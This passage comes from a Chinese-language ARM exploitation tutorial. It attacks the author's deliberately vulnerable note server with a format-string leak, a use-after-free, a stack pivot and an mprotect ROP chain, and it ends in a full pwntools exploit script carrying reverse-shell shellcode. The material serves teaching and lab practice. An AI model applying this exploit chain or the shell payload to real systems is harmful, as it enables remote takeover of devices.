if (bind(fd_sock, (struct sockaddr*) &sockaddr, sizeof(sockaddr)) <0 ){
std::cerr << strerror(errno) << std::endl;
exit(1);
}
if (listen(fd_sock, MAX_NUM) < 0){
std::cerr << strerror(errno) << std::endl;
exit(1);
}
note();
}
else{
wait(NULL);
close(fd_sock);
}
}
return 0;
}
编译
root@raspberrypi:/home/pi/arm/episode3# g++ -o uaf uaf.c -g
该程序监听4444端口,我们可以插入插入note,并切可以显示、编辑、删除这些note,还可以设置地址、改变欢迎消息,还可以打印一些调试信息。
简单观察一下程序有哪些看起来比较特殊的函数:
- 虚函数 show_all_notes()
- stack_pivot() 函数
- stack_info() 函数
- delete() and set_address() 函数
Observation 1 – 虚函数 show_all_notes()
查看一下 edit_obj 对象
可以看到前4个字节是一个虚表指针,并且虚表中第一个地址指向虚函数“show_all_notes”的代码
Observation 2 – stack_pivot() function
如果我们能控制“r4 + #0x0c”,那么通过stack_pivot()函数我们可以设置栈为我们能控制到的地址
Observation 3 – stack_info() function
在stack_info()函数中存在一个字符串格式化漏洞
Observation 4 – delete and set_address() function
在 case 4中edit_obj被删除, 如果使用此对象, 我们将有 UAF 漏洞。set_address 函数的目的是尝试在堆中分配一个大小等于已删除对象大小的对象。
接下来的步骤:
- 通过 case 9 获得 libc库 和 wel_msg、roulette变量的地址
- 释放内存并随后分配刚释放内存
- 使用wel_msg数组的空间作为新的栈空间并存放shellcode
看一下细节
1- 通过 case 9 获得 libc库 和 wel_msg、roulette变量的地址
让我们分析一下 stack_info 函数
我们将只使用格式字符串漏洞来从堆栈中任意读取
0x%08x,0x%08x,0x%08x,0x%08x
我们得到以下输出
0x00000000,0x76fb2f0c,0x0002a3f4,0xffffffff
让我们看看地址0x76fb2f0c
我们可以用偏移量计算 libc 的基址, 在我们的例子中, libc 基址是0x76c85000
偏移是
offset = 0x76fb2f0c-0x76c85000 = 0x32df0c
wel_msg、roulette变量的地址也打印出来。
2- 释放内存并随后分配刚释放内存
让我们看看删除edit_obj对象后
case 4:
edit_obj->delete_note();
cout << "Try to set the roulette number: " << endl; cin >> roulette;
delete edit_obj;
我们将尝试使用此字符串 “1111” 设置roulette变量, 然后在删除指令之前, 这是edit_obj的内容
gef> x/8x edit_obj
0x29318: 0x000126c8 0x00000001 0x0002a37c 0x0002a394
0x29328: 0x76fb76ec 0x76fb76ec 0x76fb76ec 0x76fb76ec
删除指令后
gef> x/8x edit_obj
0x29318: 0x00000000 0x00000001 0x0002a37c 0x0002a394
0x29328: 0x76fb76ec 0x76fb76ec 0x76fb76ec 0x76fb76ec
vtable地址将变为零。
roulette变量的地址是:
gef> p &roulette
$1 = (int *) 0x23298 <roulette>
现在, 我们可以使用case 5来分配新的内存区域, 并在set_address函数中, 尝试插入roulette变量的地址 (我们从泄漏中得到)。
5
Enter the number
144024
并查看edit_obj的地址
gef> x/x 0x29318
0x29318: 0x00023298
gef> x/x 0x00023298
0x23298 <_ZL8roulette>: 0x00000457
gef> p/d 0x00000457
$3 = 1111
然后, 我们可以使用roulette变量设置第一个 ROP 的地址, 类似于下面的图像
3- 使用wel_msg数组的空间作为新的栈空间并存放shellcode
这一次, 我使用一个简单的 ROP 链, 使我们的一部分内存 (wel_msg) 有可执行属性,随后跳转到shellcode。
我在stack_pivot ()函数中提供了第一个 ROP
void stack_pivot(){
asm volatile(
"ldr sp,[r4, #0x0c] \n\t"
"ldr sp, [sp] \n\t"
"pop {lr, pc} \n\t"
);
}
我们将使用mprotect函数, 但在需要找到一个gadget来填充参数
r0 = shellcode page aligned address
r1 = size(ofshellcode)
r2 = protection (0x7 - RWX)
pc = mprotect address
我们可以通过以下方式运行 ROPgadget:
$ ROPgadget --binary libc-2.24.so --thumb | grep "pop {r0, r1, r2"
可以用下面给出的gadget
0x000e6b08 :
pop {r0, r1, r2, r3, r4, pc}
r0 = shellcode page aligned address
r1 = size(ofshellcode)
r2 = protection (0x7 – RWX)
r3 = 0x00
r4 = 0x00
pc = mprotect address
我们可以把所有的东西放在一起做一个小测试, 然后启动服务器
gdb ./uaf
发送payload之后键入9
0x%08x.0x%08x.0x%08x
然后插入下列3条 notes (case 1)
“AAAA”
wel_msg address
“BBBB”
如前所述, 我们将使用 “wel_msg” 数组来作为新堆栈来保存shellcode (我们将使用反向 shell ), 然后为了编辑这个数组, 我们必须使用 “change the message” case。
我们必须发送
LR= &wel_msg + 36
gadget1 = pop_r0_r1_r2_r3_r4_pc
r0 = (&wel_msg / PAGE_SIZE ) * PAGE_SIZE
r1 = 0x100
r2 = 0x7
r3 = 0x00
r4 = 0x00
r5 = mprotect addres
然后验证它
gef> x/20x wel_msg
0x7efff408: 0x7efff42c 0x76d6bb09 0x7efff000 0x00000100
0x7efff418: 0x00000007 0x00000000 0x00000000 0x76d52840
0x7efff428: 0x5a5a5a5a 0xe3a00002 0xe3a01001 0xe3a02000
0x7efff438: 0xe59f7080 0xef000000 0xe1a06000 0xe3a0105c
0x7efff448: 0xe3a05011 0xe1a01c01 0xe0811805 0xe2811002
我们可以使用case 4释放edit_obj, 并将stack_pivot ()函数的地址设置为roulette值。
现在我们应该分配一个新的对象, 我们在case 5 (set_address函数)中发送roulette地址
最后用case 2触发该漏洞 (显示所有注释)
如果我们在blx r3指令上继续, r3的值等于edit_obj的地址。
我们可以注意到, 寄存器r3等于stack_pivot函数的地址
如果我们继续下去, 我们在远程系统里获得了一个shell。
一个简单的脚本, 以使它自动化。文件uaf_exploit.py
#!/usr/bin/env python2
from pwn import *
import pwnlib.asm as asm
import pwnlib.elf as elf
ip = "192.168.0.13"
port = 4444
PAGE_SIZE = 0x1000
def find_arm_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='arm')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 4 == 0:
gadget_address = address
if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
log.info(asm.disasm(gadget_bytes, vma=gadget_address, arch='arm'))
break
return gadget_address
def find_thumb_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='thumb')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 2 == 0:
gadget_address = address + 1
if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
log.info(asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb'))
break
return gadget_address
def find_gadget(e, gadget):
gadget_address = find_thumb_gadget(e, gadget)
if gadget_address is not None:
return gadget_address
return find_arm_gadget(e, gadget)
#libc file
libc = ELF('libc-2.24.so')
s = remote(ip, port)
log.info('-----------------------------------------------')
#####LEAK
offset = 0x32df0c
s.sendline('9')
leak_value = s.recvuntil("area")
#arbitrary read
s.sendline('0x%08x.0x%08x.0x%08x')
leak_values = s.recvuntil("done!")
wel_msg = int(leak_values[76:84], 16)
roulette_add = int(leak_values[109:114], 16)
stack_address = int(leak_values[13:23], 16)
log.info("The wel_msg address is: 0x%x", wel_msg)
log.info("The roulette address is: 0x%x", roulette_add)
log.info("The leak_address: 0x%x", stack_address)
#libc base address
libc_base = stack_address - offset
log.info("Libc base address: 0x%x", libc_base)
#mprotect address
mprotect_address = libc_base + libc.symbols['mprotect']
log.info('mprotect address 0x%x' % mprotect_address)
#gadget address
libc.address = libc_base
pop_r0_r1_r2_r3_r4_pc = find_gadget(libc, 'pop {r0, r1, r2, r3, r4, pc}')
#insert note "AAAA"
s.sendline('1')
s.sendline('A'*4)
#insert address of wel_msg as note
s.sendline('1')
s.sendline(p32(wel_msg))
#insert note "BBBB"
s.sendline('1')
s.sendline('B'*4)
#reverse shell shellcode + "\x33"
shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0e\x1b\x01\x00\x00\x33"
#len of the new stack
stack_len = 40
stack = ""
#set LR
stack += p32(wel_msg + 36) #LR = address of the shellcode
#gadget 2 - 76d6bb08: pop {r0, r1, r2, r3, r4, pc}
stack += p32(pop_r0_r1_r2_r3_r4_pc) # thumb address
#r0 = (wel_msg / PAGE_SIZE ) * PAGE_SIZE
stack += p32((wel_msg / PAGE_SIZE) * PAGE_SIZE)
#r1 = 0x100
stack += p32(0x100)
#r2 = 0x7
stack += p32(0x07) #RWX
#r3 = 0x00
stack += p32(0x00)
#r4 = 0x00
stack += p32(0x00)
#r5 = mprotect addres
stack += p32(mprotect_address)
stack += "ZZZZ"
#change the wel_msg value
s.sendline('0')
s.sendline(stack + shellcode)
ret = s.recvuntil("message")
sleep(1)
#objdump -d uaf | grep stack_pivot
#000111cc &amp;lt;_Z11stack_pivotv&amp;gt;:
roulette_value = 0x111cc # address of the stack_pivot function
#delete edit_obj
s.sendline('4')
s.sendline(str(roulette_value))
ret = s.recvuntil("message")
sleep(1)
#allocare the hole - set_address()
s.sendline('5')
s.sendline(str(roulette_add))
ret = s.recvuntil("message")
sleep(1)
#take control - show all note
s.sendline('2')
ret = s.recvuntil("message")
sleep(1)
s.close()
测试它
启动远程服务器
启动服务器 uaf 应用程序
运行利用脚本
教程结束了, 我的目的是给一个关于ARM世界的小介绍(免费), 我希望我已经实现了我的目标, 我希望你喜欢这些情节。
您可以在我的 github 上找到代码: https://github.com/invictus1306/ARM-episodes